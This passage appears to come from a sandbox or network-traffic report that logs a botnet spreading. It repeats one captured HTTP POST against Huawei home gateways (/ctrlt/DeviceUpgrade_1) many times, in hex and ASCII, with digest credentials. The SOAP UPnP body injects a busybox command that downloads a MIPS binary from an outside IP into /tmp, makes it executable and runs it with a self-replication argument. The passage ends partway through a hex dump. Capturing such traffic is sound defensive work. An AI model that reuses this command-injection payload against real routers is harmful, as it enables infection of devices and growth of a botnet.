65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 